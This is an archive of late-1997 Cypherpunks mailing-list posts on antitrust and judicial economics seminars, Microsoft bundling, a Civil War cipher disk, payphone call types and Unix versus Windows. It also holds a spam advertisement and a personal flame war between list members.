>>at George Mason.  My journal first reported on its teach-in with the federal
>>judges in 1981 (Vol. 13, No. 3, pp. 70-71) and the following year I
>>physically visited the University of Miami campus (where it was then housed)
>>and did extensive interviews with several of the Center's people.  Those
>>interviews, plus another interview series I did at Emory University in
>>Atlanta when the Center moved there, and finally at George Mason itself
>>after the 3rd move, fill a number of my issues, beginning with Vol. 14, No.
>>2 (1982).  I've also reported on a couple of the legal challenges
>>(unsuccessful) to the Center's indoctrination of the federal judges.
>>        For example, U.S. District Judge Spencer Williams presided over a
>>predatory pricing case against ITT Continental Baking (Wonder Bread) some
>>years back.  The day after the jury began its deliberations, Judge Williams
>>left San Francisco to begin attendance at a 2-week "economics" seminar
>>presented by the Law & Economics Center at the Royal Biscayne Hotel in
>>Miami.  While he was gone, his jury returned a verdict for the plaintiff in
>>the amount of $5 million which, under the law, he was bound to triple to $15
>>million.  Instead, he returned from Florida, overturned the jury's verdict,
>>and wrote a letter to Henry Manne in Miami that read in part as follows:
>>"As a result of my better understanding of the concept of marginal cost, I
>>have recently set aside a $15 million antitrust verdict.  I will send you a
>>copy of the memorandum [opinion] as soon as it is prepared."  (See my
>>journal, Vol. 17, No. 2 (1985), p. 13.)
>>        Nan Aron and her colleagues at the Alliance for Justice in
>>Washington published a monograph on the subject--Justice for Sale In
>>America--in 1993 and I reprinted the key chapters in my journal, beginning
>>with Vol. 24, No. 3 (1993).  For earlier background, see Fortune, May 21,
>>1979; Washington Post, January 20, 1980; and The Nation, January 26, 1980.
>>        Put simply, this "Center" is a right-wing propaganda mill
>>masquerading as a purveyor of academic "economics."  The "teachers" have
>>been Harold Demsetz and others from the University of Chicago and its major
>>academic outposts (paid at an hourly rate commensurate with the up to $600
>>per hour commanded by George Stigler and the others as antitrust "experts"
>>in court).  No opposing economists have ever been allowed to appear before
>>the judges.  When I asked the Center's people why they didn't permit
>>distinguished non-Chicago economists to share the podium at these judicial
>>teach-ins, they laughed and said, "Let them go start their OWN seminars for
>>the judges!"
>>        I asked to be allowed to just sit in as an OBSERVER with the judges
>>and/or the 200 antitrust law professors (who have been run through a similar
>>indoctrination program) and Henry Manne himself responded to my request (by
>>telephone), No, "We keep it all in the family."  (Manne, who had been a law
>>professor at the University of Rochester, founded the "Center" in 1974 at
>>the University of Miami, then moved it to Emory and finally to George Mason.
>>A federal judge--Judge Hoffman, as I recall--helped him get the approval of
>>the judiciary's executive body in Washington, headed by the Chief Justice of
>>the Supreme Court.  The money to finance these sessions at luxury resorts
>>(mostly at Key Biscayne and other Florida beach towns) was originally gotten
>>directly from  Fortune 500 companies who had experienced the sting of
>>antitrust prosecution; in response to some criticism of that obvious
>>conflict of interest, Manne, with some creative accounting, arranged it so
>>that the seminars for the judges themselves--in 1981, the cost was $5,000
>>per judge per 2-week seminar--were thereafter paid for exclusively by the
>>corporate foundations, e.g., Schaife, Olin, etc., rather than by active
>>firms that frequently appear before the judges as antitrust defendants.
>>With this accounting twist, the judiciary gave its full blessing to the
>>operation.)
>>        I also did an interview with a federal appeals judge in Washington
>>(DC Circuit).  He saw nothing wrong with Manne's program, even assuming it
>>was pure propaganda designed specifically to bias the federal judiciary
>>against the antitrust laws and in favor of corporate monopoly.  Why?  (1)
>>First, he said, judges are, by the nature of their work, "immune" to
>>propaganda of all kinds.  They hear so much argument on so many sides of
>>every issue that it's simply impossible to "bias" them via argument.  (2)
>>Second, he told me, federal judges have every RIGHT to be as intellectually
>>"biased" as they like and to DEVELOP those intellectual biases with the help
>>of WHOEVER they please.
>>        For example, he said, suppose I go to the beach for a weekend with 3
>>volumes of Karl Marx's writings in my briefcase.  I find Marx so persuasive
>>that I come back to my chambers on Monday, throw away an opinion I had just
>>written on one of the cases before me, and proceed to write a new one
>giving my
>>decision to the opposite party.  Karl Marx "biased" me to change my
>>decision.  He had every right to do it--and I had every right to LET him
>>do it.
>>        George Mason University law school and its economics department
>>aren't scholarly enterprises at all; they're hired propagandists, awash in
>>corporate money awarded precisely for the purpose of making a contrived
>>"economic" case for laissez-faire monopoly.  They get away with it for one
>>reason and one reason only:  Manne's operation had the approval of Reagan's
>>Justice Department (rember Ed Meese?) and now it has the blessing of
>>Clinton's.  All it would take to bring it to a halt would be a couple of
>>speeches by, say, the Attorney General and, if necessary, by Clinton
>>himself.  If Justice treated it as the outrage that it plainly is, the
>>press--and the ensuing public condemnation--would purge the judiciary of
>>this 20-year scandal within a matter of weeks.
>>        Charles Mueller, Editor
>>        ANTITRUST LAW & ECONOMICS REVIEW
>>        http://www.metrolink.net/~cmueller/
>>
>>
>                                                     ***********








From declan at pathfinder.com  Sun Dec 21 16:56:55 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 22 Dec 1997 08:56:55 +0800
Subject: Building Pro-Monopoly Judges
In-Reply-To: <19971221234602734.AAA140@psl2027.metrolink.net>
Message-ID: 



Thanks, Charles, for the attached rant. Very amusing. Me, I prefer to tell
the truth, and if that means that I don't abide by your standard of
"graciousness," so be it.

I've run into the Federalist Society a few times before. I occasionally go
to their conferences, and I know they've been active in such HEINOUS
dealings as:

  -- arguing against the Communications Decency Act
  -- arguing against state-by-state content regulation of the Internet
  -- arguing for your right to speak anonymously online
  -- arguing for your right to use and distribute encryption freely

Yes, folks, you heard it here first. These folks are evil and must NOT be
allowed to hold seminars for judges. (Only leftists are allowed this
particular trick.)

BTW, if Charles had half a clue, he'd know George Mason's law and economic
schools are not particularly conservative, but are instead free-market and
libertarian. (How many conservatives opposed the CDA?) The Federalist
Society is also generally libertarian. Libertarians are not pro-big
business; they oppose corporate welfare and special-interest lobying. Such
as what Charles seems to endorse.

-Declan


At 18:49 -0500 12/21/97, charles mueller wrote:
>        Declan McCullagh, still displaying a reluctance to debate with
>graciousness (below), now wonders if I've heard of the Federalist Society.
>"PS: I wonder if Mueller knows about the Federalist Society, which is a
>group of libertarian-leaning lawyers and law professors. Among other things,
>they make a point of educating judges about (gasp!) economic theory and this
>concept of a government strictly limited in its powers..."
>
>        I've been reporting on this propaganda mill for roughly 2 decades--
>and have published hundreds of pages on it.  (See my January post on the
>subject, below.)
>
>        Charles Mueller, Editor
>        ANTITRUST LAW & ECONOMICS REVIEW
>        http://webpages.metrolink.net/~cmueller
>
>

         **
>
>>Return-Path: 
>>Date: Wed, 15 Jan 1997 19:04:50 -0500 (EST)
>>Errors-To: antitrust-owner at essential.org
>>Reply-To: cmueller at metrolink.net
>>Originator: antitrust at essential.org
>>Sender: antitrust at essential.org
>>From: cmueller at metrolink.net (cmueller)
>>To: Multiple recipients of list 
>>Subject: GMU's "Law & Economics Center"
>>X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas
>>
>>        Perhaps I can add some information on the "Law & Economics Center"
>>at George Mason.  My journal first reported on its teach-in with the federal
>>judges in 1981 (Vol. 13, No. 3, pp. 70-71) and the following year I
>>physically visited the University of Miami campus (where it was then housed)
>>and did extensive interviews with several of the Center's people.  Those
>>interviews, plus another interview series I did at Emory University in
>>Atlanta when the Center moved there, and finally at George Mason itself
>>after the 3rd move, fill a number of my issues, beginning with Vol. 14, No.
>>2 (1982).  I've also reported on a couple of the legal challenges
>>(unsuccessful) to the Center's indoctrination of the federal judges.
>>        For example, U.S. District Judge Spencer Williams presided over a
>>predatory pricing case against ITT Continental Baking (Wonder Bread) some
>>years back.  The day after the jury began its deliberations, Judge Williams
>>left San Francisco to begin attendance at a 2-week "economics" seminar
>>presented by the Law & Economics Center at the Royal Biscayne Hotel in
>>Miami.  While he was gone, his jury returned a verdict for the plaintiff in
>>the amount of $5 million which, under the law, he was bound to triple to $15
>>million.  Instead, he returned from Florida, overturned the jury's verdict,
>>and wrote a letter to Henry Manne in Miami that read in part as follows:
>>"As a result of my better understanding of the concept of marginal cost, I
>>have recently set aside a $15 million antitrust verdict.  I will send you a
>>copy of the memorandum [opinion] as soon as it is prepared."  (See my
>>journal, Vol. 17, No. 2 (1985), p. 13.)
>>        Nan Aron and her colleagues at the Alliance for Justice in
>>Washington published a monograph on the subject--Justice for Sale In
>>America--in 1993 and I reprinted the key chapters in my journal, beginning
>>with Vol. 24, No. 3 (1993).  For earlier background, see Fortune, May 21,
>>1979; Washington Post, January 20, 1980; and The Nation, January 26, 1980.
>>        Put simply, this "Center" is a right-wing propaganda mill
>>masquerading as a purveyor of academic "economics."  The "teachers" have
>>been Harold Demsetz and others from the University of Chicago and its major
>>academic outposts (paid at an hourly rate commensurate with the up to $600
>>per hour commanded by George Stigler and the others as antitrust "experts"
>>in court).  No opposing economists have ever been allowed to appear before
>>the judges.  When I asked the Center's people why they didn't permit
>>distinguished non-Chicago economists to share the podium at these judicial
>>teach-ins, they laughed and said, "Let them go start their OWN seminars for
>>the judges!"
>>        I asked to be allowed to just sit in as an OBSERVER with the judges
>>and/or the 200 antitrust law professors (who have been run through a similar
>>indoctrination program) and Henry Manne himself responded to my request (by
>>telephone), No, "We keep it all in the family."  (Manne, who had been a law
>>professor at the University of Rochester, founded the "Center" in 1974 at
>>the University of Miami, then moved it to Emory and finally to George Mason.
>>A federal judge--Judge Hoffman, as I recall--helped him get the approval of
>>the judiciary's executive body in Washington, headed by the Chief Justice of
>>the Supreme Court.  The money to finance these sessions at luxury resorts
>>(mostly at Key Biscayne and other Florida beach towns) was originally gotten
>>directly from  Fortune 500 companies who had experienced the sting of
>>antitrust prosecution; in response to some criticism of that obvious
>>conflict of interest, Manne, with some creative accounting, arranged it so
>>that the seminars for the judges themselves--in 1981, the cost was $5,000
>>per judge per 2-week seminar--were thereafter paid for exclusively by the
>>corporate foundations, e.g., Schaife, Olin, etc., rather than by active
>>firms that frequently appear before the judges as antitrust defendants.
>>With this accounting twist, the judiciary gave its full blessing to the
>>operation.)
>>        I also did an interview with a federal appeals judge in Washington
>>(DC Circuit).  He saw nothing wrong with Manne's program, even assuming it
>>was pure propaganda designed specifically to bias the federal judiciary
>>against the antitrust laws and in favor of corporate monopoly.  Why?  (1)
>>First, he said, judges are, by the nature of their work, "immune" to
>>propaganda of all kinds.  They hear so much argument on so many sides of
>>every issue that it's simply impossible to "bias" them via argument.  (2)
>>Second, he told me, federal judges have every RIGHT to be as intellectually
>>"biased" as they like and to DEVELOP those intellectual biases with the help
>>of WHOEVER they please.
>>        For example, he said, suppose I go to the beach for a weekend with 3
>>volumes of Karl Marx's writings in my briefcase.  I find Marx so persuasive
>>that I come back to my chambers on Monday, throw away an opinion I had just
>>written on one of the cases before me, and proceed to write a new one
>giving my
>>decision to the opposite party.  Karl Marx "biased" me to change my
>>decision.  He had every right to do it--and I had every right to LET him
>>do it.
>>        George Mason University law school and its economics department
>>aren't scholarly enterprises at all; they're hired propagandists, awash in
>>corporate money awarded precisely for the purpose of making a contrived
>>"economic" case for laissez-faire monopoly.  They get away with it for one
>>reason and one reason only:  Manne's operation had the approval of Reagan's
>>Justice Department (rember Ed Meese?) and now it has the blessing of
>>Clinton's.  All it would take to bring it to a halt would be a couple of
>>speeches by, say, the Attorney General and, if necessary, by Clinton
>>himself.  If Justice treated it as the outrage that it plainly is, the
>>press--and the ensuing public condemnation--would purge the judiciary of
>>this 20-year scandal within a matter of weeks.
>>        Charles Mueller, Editor
>>        ANTITRUST LAW & ECONOMICS REVIEW
>>        http://www.metrolink.net/~cmueller/
>>
>>
>                                                     ***********








From blancw at cnw.com  Sun Dec 21 18:36:39 1997
From: blancw at cnw.com (Blanc)
Date: Mon, 22 Dec 1997 10:36:39 +0800
Subject: Coercive Monopolism vs Wimpyness
Message-ID: <3.0.32.19971221183650.006b719c@cnw.com>



Attila T. Hut quoted Tom Steinert-Threlkeld:

"So, it can't coerce computer makers to license the IE
browser as a condition of licensing the Windows operating
system, forcing them to install both onto the machines they
sell to the public."
...................................................

How do computer makers get "coerced"?  How, specifically are they "forced"
into doing something they don't want to do?   Are they incapable of just
saying "no"?  Is there a gun put to their head?  Does someone threaten them
with DoJ action if they don't participate in the game of monopoly?   Why do
they continue to lie down and roll over when MS comes around - don't they
know they're contributing to the demise of Netscape and the other
better-than-thou companies, which are *much* more deserving of success than
Gates is, since they're kinder & gentler?   Whose side are these people on,
anyway; how can they renege on the right to choose and instead just
_give_it_up_ to Microsoft?

And, since Windows OS is so pitifully lousy, why do people continue to buy
it, even without the computer attached;  why do they continue to upgrade,
even if it's so slow and bloated?   Don't they realize Unix is better?
Don't they realize they're just making Billg richer?

What's the matter with all these people, anyway (Attila)?
    ..
Blanc






From ichudov at Algebra.COM  Sun Dec 21 19:15:44 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Mon, 22 Dec 1997 11:15:44 +0800
Subject: Is Anonymous Communication only for "Criminals"?
In-Reply-To: 
Message-ID: <199712220308.VAA01679@manifold.algebra.com>



Tim May wrote:
> (Even the _ability_ to block a pay phone, qua pay phone, must imply that
> pay phones send out some kind of signal announcing themselves as pay
> phones, which I had not heard of before. I assumed a pay phone was Just
> Another Phone Number.)

Telephone switches generate (receive) a digit that is known as Call Type.
Simplistically, Call Types may be 1+ for regular calls, 800 for 800 calls,
Conference, and 0+ for operator/payphone call.

One of the switch features may be some kind of call type blocking,
or passing the call type to the termination side, such as the pager
company computer.

	- Igor.






From vznuri at netcom.com  Sun Dec 21 20:10:19 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Mon, 22 Dec 1997 12:10:19 +0800
Subject: Why I Support Microsoft
In-Reply-To: 
Message-ID: <199712220406.UAA06745@netcom9.netcom.com>



my understanding of the current MS debate is not 
flawless-- it's got a lot of minutia that's hard to 
follow. however:

what TCM fails to mention is a basic point: MS signed an
agreement a few years ago or whatever that they would not
bundle their browser with their OS, win95. 

now MS is having second thoughts, and trying to weasel out
of the contract by setting up a system in which the consumer
is supposedly requesting the browser integration via the 
licensing agreement.

the Justice department is doing nothing but enforcing a contract
that MS itself signed. it seems pretty clear that MS is
breaching its own contract.

whether that contract was signed under duress, or the
Justice dept is unfairly targeting MS, are valid questions
but not wholly relevant to the current debate. if MS felt
it was being persecuted it should have mounted that defense
before it signed the contract on its own volition.

personally, I have said before: I think Gates is finding
that in todays business world, cooperation is as important
as competition. the new climate has been described as
"co-operatition" and other words. Gates has made many
enemies in his megalomaniacal rise to power.  

make no mistake-- if you read books that discuss the 
behind-the-scenes, under-the-rock, behind-the-superficial-pr
atmosphere of the company, the unmistakable conclusion is 
that Gates is something of a tyrant bent on world software
domination. he has very few friends, and those that he
might think are his friends are really just sycophants
who are afraid of him.

capitalism involves many freedoms. one of those freedoms
involves doing business with companies that one prefers,
not necessarily for rational reasons. i.e. if people
begin to hate MS and abandon their products even if they
are superior and priced better, that's within the system
to do so. I personally think this is increasingly happening.

there are also a lot of stories that Gates has stabbed
companies in the back in deals in which he is supposedly
"cooperating" or having "strategic alliances" with. this is
way beyond the initial IBM thing. these rumors, which 
probably have some grounding in reality,
will make his business more difficult and have already done so.

in particular, Bill's inability to cooperate is evidenced
in the company's clear-cut strategy of trying to undermine
Java. what's interesting is that his company could just as
easily make lots of money by embracing the standard, even
without owning it themselves. there's a lot of bitterness
being generated by their veiled opposition to it. programmers
are far from stupid.

Bill doesn't realize how few real friends he really has.
he has made the mistake of thinking that business and 
cooperation are mutually exclusive. he'll pay the price.








From ravage at ssz.com  Sun Dec 21 20:50:37 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 22 Dec 1997 12:50:37 +0800
Subject: Civil War Crypto Question...
Message-ID: <199712220505.XAA16383@einstein.ssz.com>



Hi,

I have been reading [1] regarding the beginning of the modern martial
traditions and methods. In chapter 2, 'Tactical and Strategic
Reorganization', in which the birth of the Signal Corp under Myer (by order
of McClellan) and the ensuing conflicts with Military Telegraph under Stager
are discussed. On pp. 43 - 44 there is a discussion on some processes that
Myer implimented including a 'cipher disk' whereby the Union was able to
change their telegraph codes on an hourly schedule. It was apparently very
effictive in dealing with taps and such.

Anyone know of another source that discusses this disk? I looked in Applied
Crypto as well as several other books including a Dover reprint of a book
from the 30's w/o success. I would in particular like to see a photo or
other diagram of its operation.

Thanks for any help you can provide.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


[1]  The American Civil War and the Origins of Modern Warfare:
     Ideas, Organization, and Field Command
     Edward Hagerman
     ISBN 0-253-30546-2






From frissell at panix.com  Sun Dec 21 20:56:07 1997
From: frissell at panix.com (frissell at panix.com)
Date: Mon, 22 Dec 1997 12:56:07 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <3.0.2.32.19971221231936.03830498@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

>>Tim's analysis is nonsensical.
>>
>>A government employee loses his job because of his political
>>views. He brings a lawsuit, alleging a violation of the First
>>Amendment, and eventually prevails in the Supreme Court.
>>
>>A non-government employee who loses his job because of his
>>political views would have no cause of action because the
>>private employer is not bound by the First Amendment.
>>
>>Therefore there should be far fewer government employees
>>to prevent further erosion of the First Amendment.

I sort of like Tim's reasoning.

It's reminiscent of Frank Chordorov's remarks back during the McCarthy Era.  
"If you're worried about Communists in government jobs; get rid of the 
government jobs."

DCF


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJ3qVoVO4r4sgSPhAQHO4wP9GuK8rdqlqPMCjqzgLoNZ1LtorM2ExMMq
f2ARLGE0c/M/TV4t+N6xF+wUd3rnmbU05UhRNKFWzCkK0hgUFc8pUCUN+I4UNBKt
aCLGwaJEi2d1PydLliz4i1qIJCM7BQEGqyg6prX3Xk1UFFrC5/kkZIwYGpiziF4Q
ANEh+wC3iVg=
=cS/O
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Sun Dec 21 21:04:37 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 22 Dec 1997 13:04:37 +0800
Subject: Hate speech and censorship
In-Reply-To: 
Message-ID: 



Lance Cottrell  writes:

> At 10:58 AM -0500 12/20/97, Dr.Dimitri Vulis KOTM wrote:
> 
> >I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
> >for the ideology; he'll bend over the moment he thinks there's more $$ in
> >bending over, which is usually the case.
> >Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
> >because he failed miserable and diversified into peddiling shitty software
> >and making idiotic legal threats? He happily pulled plugs bases on content,
> >while at the same time stating in court papers that he doesn't censor conten
> >What a pathological liar.
> >
>
> I am very glad some helpful anonymous individual forwarded this note to me.
> These days I only read a filtered version of the Cypherpunks, although I
> host one of the unfiltered nodes, and Dr. Vulis has been in my kill file
> for some time.

I presume he won't see this response then.

> I am a bit startled at his assumption that because I charge for my services
> that I would bend at the first sign of trouble or pressure. Allow me to

No, this is not my reasoning.  I've concluded, based on the analysis of
numerous quotes from Cottrell, that he sounds like an opponent of anonymity,
privacy, and free speech (witness his attacks on "HipCrime", his censorship
of "spam" (the term now used by censors to describe any content they don't
approve of)  et al - just use DejaNews).  An "anti-spammer" selling "privacy"
services is a lot like a devout nun working as a prostitute to support
her convent - she does it for the money, but her heart won't be in it.

Of course I respect lance's right to hold whatever beliefs he chooses and
to oppose free speech. However I advise anyone against trusting a person
who states that he opposes "spam" (defined as any content he doesn't like).

If you use "Anonymizer", Lance will know who you are, and he states on his
web site that he will reveal your identity if you "abuse" his service (which
might well mean simply expressing an opinion that Lance doesn't like and
judges to be "spam").

if Lance Cottrell wants to salvage the remains of his credibility, he should
state unequivocally that he supports "spam" as defined by Chris Lewis.

[snip]
> Dr. Vulis' attack on Sameer was much worse than his attack on me. It is
> totally off base. Sameer handed off most of his "privacy ISP" business to
> me. The reason for this was not that it was failing, but that the software
> side of the business was so much more successful. About half his efforts
> were going toward a service generating about 10% of his revenues. Not to
> focus his efforts would have been very poor business practice.

As documented before, Sameer closed shop on C2net as a "privacy" ISP at
about the same time (Oct 96) as
a) Software Publishers Association sued him for software privacy and he
was claiming in court papers that he doesn't censor content (as well as
whining on this mailing list and begging for help)
b) he simultaneously pulled the plug on one of his subscribers because
he didn't like the contents of that subscibers's web page, which expressed
critical opinions about Timmy May.
This proves, in my opinion, that Sameer is a pathological liar.
Further his settlement with SPA was a miserable failure for him,

Sameer is also notorious for making legal threats against those who question
the security of the crypto software he peddles. The fact that he dispatches
his shysters to make threats, instead of even trying to answer our concerns
with facts, shows how much he himself believes in his products.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From jim at mentat.com  Sun Dec 21 21:52:42 1997
From: jim at mentat.com (Jim Gillogly)
Date: Mon, 22 Dec 1997 13:52:42 +0800
Subject: Civil War Crypto Question...
Message-ID: <9712220546.AA23496@mentat.com>



Jim Choate skribis:
> On pp. 43 - 44 [of Hagerman's "The American Civil War..."]
> ... a 'cipher disk' whereby the Union was able to
> change their telegraph codes on an hourly schedule. It was apparently very
> effictive in dealing with taps and such.
> 
> Anyone know of another source that discusses this disk? I looked in Applied

There's a very brief mention of a disk in "Masked Dispatches: Cryptograms
and Cryptology in American History, 1775-1900", available from the NSA
Central Security Service.  (Series 1, Pre-World War 1, Volume 1, United
States Cryptologic History), Center for Cryptologic History, by Ralph
E. Weber, 1993.

On page 110 he says: "The North, on the other hand, adopted a handy "on-line"
means of changing the basic flag code by prearrangement or at will, even within
the act of transmission.  This was done with a disk, in which the alphabet on
the inner disk revolved against an outer ring of flag combination, enabling an
instant change of code."

My impression from this and from the chapter summary is that the disk was
used for flag codes but not telegraphy.  For telegraphy the Union apparently
used a word-based route transposition that Friedman found unimpressive.

It's clearly different from the brass cipher disk used by the Confederates,
which used letters rather than flag positions as the ciphertext alphabet.

Weber doesn't include pictures of the disk.

	Jim Gillogly
	Sterday, 2 Yule S.R. 1998, 05:45
	12.19.4.14.0, 10 Ahau 18 Mac, First Lord of Night






From 9fX7Q8JNZ at pobox.com  Mon Dec 22 14:09:22 1997
From: 9fX7Q8JNZ at pobox.com (9fX7Q8JNZ at pobox.com)
Date: Mon, 22 Dec 1997 14:09:22 -0800 (PST)
Subject: Increase SAT Math Scores!
Message-ID: 


 Please pardon this 1 time e-mail intrusion.
 (This information may be very important to you            
 or someone you know taking College Entrance Exam!!!)
  
 "Math Shortcuts to Ace the SAT* and PSAT"
 For the US College Entrance Exam  
 ISBN:   1-882228-00-6   (100 pg. book)
 
 Traditional SAT* math preparation materials & courses 
 emphasize a review of math fundamentals, practice exams 
 and general strategies.  Our book uniquely SUPPLEMENTS 
 these approaches with 34 specific math strategies & 
 shortcuts to specific SAT* math problem types.
 
 Highlights of this Book:
 	---34 specific math shortcuts & strategies 
                         to the SAT* and PSAT
 	---Step-by-step examples
 	---Answers to all exercises
 	---Extensive glossary and index
 	---Concise summary of geometry formulas and concepts
 	---Easy to understand explanations
 
 Educator's Testimonials:
 "This SAT Math Shortcuts Manual is proving to be an excellent 
 resource to our students preparing for the SAT & PSAT.  
 Thank you for developing this invaluable resource."
    Carolyn W. Jacobs - Guidance Dept. Head - 
    JFK High School, Richmond, VA
 
 "This is one of the best collections of SAT Math Shortcuts 
 that I have come across. My students found it especially 
 helpful.  I highly recommend this book to anyone 
 teaching an SAT Prep. class or workshop."
    Judy Edwards - Math/SAT Prep. Teacher - 
    North Buncombe High School, Weaverville, NC 
 
 "The book format is great. The sections on shortcuts was 
    easily understandable and to the point."
    LaVerne McKesson: President, Educational Connections
    Math Dept. Head (retired) Detroit Public Schools
 
 "This book covers it all!  It is compiled in a manner which 
 holds the student's attention as it guides the student through 
 math strategies and shortcuts to the SAT."
    Nanci S. Boice 
    Admissions Dept. - St. Thomas Episcopal School - 
    Houston, TX
 	
 Author Bio:
 	---15 years: SAT Math test prep. instructor & 
                   College Algebra Teacher
 	---Columbia University grad.: BA, MBA
 
 Distributors:
 	---Ingram Book Co. (bookstores)
 	---Baker & Taylor (bookstores - pending)
 	---Independent Publishers Group (bookstores)
 	---Quality Books, Inc. & Unique Books, Inc. (libraries)
 	---Adams Book Co. (schools)
 	---Independent Sales Reps. (schools)
 
 To Purchase:
 Contact our shipping company:
 BookMasters, Inc.
 Order Dept.
 P.O. Box 388
 1444 Rt. 42 
 Ashland, OH. 44805	
 USA
      Phone Orders:	1-800-247-6553 (24hrs/7days)
      Fax Orders:	      1-419-281-6883
 	Outside USA phone:  1-419-281-1802 (24hrs/7days)
 Web-Site Orders:
      www.apluspublishing.com    (Shortcut #21 on-line)
      www.bookzone.com/achieve (Shortcut #33 on-line)
 Price:	$12.95/book for orders of 24 or less
 		$11.95/book for orders of 25 - 49
 		$10.95/book for orders of 50 or more.
 Add Postage/Handling:$4 for single book order (1 book)
           7% of purchase price for orders of 2 or more books.
 Ohio residents add 6% sales tax 
 or supply state sales tax exempt #.
 Alabama residents add 4% sales tax 
 or supply state sales tax exempt #.
     Check, Credit Card & School Purchase Orders accepted.
     Allow 1 week for delivery. 
      Checks Payable to: BookMasters, Inc. 
       or Achievement Publishing, Inc.
 	To order have: Title, Publisher & ISBN available.
 
             For questions and comments to 
             Achievement Publishing, Inc.:	
             Voice mail: 1-800-499-6284
             Fax: 1-888-581-2211
             US Mail:   Achievement Publishing, Inc.
 	             P.O. Box 1357
 	             New York, NY 10013-0877  USA

 *SAT is a registered trademark of the College Entrance Examination Board which is not associated with this product.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This email was sent to you by S. Direct Marketing. If you would
like your ad sent to thousands or even millions...Please call
510-653-4709 9am to 9pm (PST) 7 days a week.






From shamrock at cypherpunks.to  Sun Dec 21 22:27:29 1997
From: shamrock at cypherpunks.to (Lucky Green)
Date: Mon, 22 Dec 1997 14:27:29 +0800
Subject: Get your Anthrax shots
Message-ID: 



Those of you in urban soft target areas, expecially any of you living or
working in DC or NYC, may want to consider getting vaccinated against
Anthrax. It might come in handy before long.

>From an US Army (?) press release:
| The immunizations, requiring six shots over 18 months followed by annual
| booster shots, will begin next summer with 100,000 American troops in
the
| Gulf region and Korean peninsula.

-- Lucky Green  PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From lharrison at dueprocess.com  Sun Dec 21 22:46:25 1997
From: lharrison at dueprocess.com (Lynne L. Harrison)
Date: Mon, 22 Dec 1997 14:46:25 +0800
Subject: PVT: Re: Automatic Translations
In-Reply-To: 
Message-ID: <3.0.3.32.19971222013758.006d1a50@pop.mhv.net>



At 10:02 AM 12/20/97 +0100, Lucky Green wrote:
>
>On Fri, 19 Dec 1997, Tim May wrote:
>
>> I just discovered an
>> amazing, wonderful service which translates text into and from various
>> European languages. Samples included here, of this text.


Tim -

I missed your original post.  Assuming the service has a web page, what is
the URL?


Lynne


***************************************************************************
Lynne L. Harrison, Esq.         |  Lazlo's Chinese Relatively Axiom:
Poughkeepsie, New York          |  "No matter how great your triumphs or
mailto:lharrison at dueprocess.com |  how tragic your defeats, approximately
http://www.dueprocess.com       |  one billion Chinese couldn't care less."
***************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From mitch at duzen.com.tr  Sun Dec 21 23:01:58 1997
From: mitch at duzen.com.tr (S. M. Halloran)
Date: Mon, 22 Dec 1997 15:01:58 +0800
Subject: Is Unix dying--or even dead?
Message-ID: <199712220655.IAA25801@ankara.duzen.com.tr>




On 19 Dec 97, Bill Stewart was found to have commented thusly:

> At 12:08 PM 12/19/1997 GMT, phelix at vallnet.com wrote:
> >>Silicon Graphics Inc.'s plan .... Windows NT 
> 
> >Does this mean that Unix is dying?
> >No, it means that graphics professionals are buying Wintel boxes 
> >instead of SGI's expensive workstations. ( a shame really,
> > SGI make some damn nice workstations, but that 
> >pesky price/performance ratio is pushing people into
> >high end Wintel boxes)
> 
> It's not just price/performance ratio - 
> it's affordable price for adequate performance.
> Now that Wintel boxes can crunch integers as well as a Cray-1,
> a $2K box has enough horsepower for all but really cutting-edge graphics,
> and you're going to buy the same monitor regardless of CPU.
> Sure, a $10K SGI probably has far more than 5x the performance,
> but not many people need it, especially if they're developing 
> applications for other people to use on cheaper boxes (games...)
> as opposed to producing TV shows, music videos, or running
> scientific visualization.
> 
> That's been a problem for the accounting and office-work for years
> - while Microsoft can bloat away any CPU you've got,
> an 8086 or 286 box could run spreadsheets, simple chart graphics,
> WordStar, a database, BASIC, and Flight Simulator as fast as a PDP-11
> for a lot less money, letting the business bootstrap itself
> in spite of the ugly excuse for a program loader MS sold for it,
> because any developer could afford the $5K (1982) or $2K (1997) box
> it takes to develop cool commercially viable applications
> (and, yes, you can use a $500 box today, but you wouldn't.)
> 
[....]
> 
> If you must run MSware, NT is at least an operating system.
> And it's easier to get graphics board manufacturers to write
> their drivers for Windows than Linux.

Assuming developers and users of "alternative" systems (including 
Unix family) are concerned about how MS is consolidating its 
position as the complete manager of the business/academic affairs of 
the entire globe,  I suggest to the members of the free Unix groups 
(developers, administrators/superusers) that they develop their own 
turnkey "office suite" and try to give MS a run for its money.  There 
is no time like now to get the X-Windows (or GUI-free-from-copyright) 
Complete Office bundled together and have a media gathering to make 
sure that all the important news organizations are informed.  You 
should get decent press exposure, since MS-bashing seems to be in 
vogue.  The Linux or FreeBSD people should select a mediagenic 
spokesperson from the group--one with fire in the belly--and then do 
the hard work of putting something together that a 25-year old 
free-Unix developer's 72-year old grandmother can install to a x86 
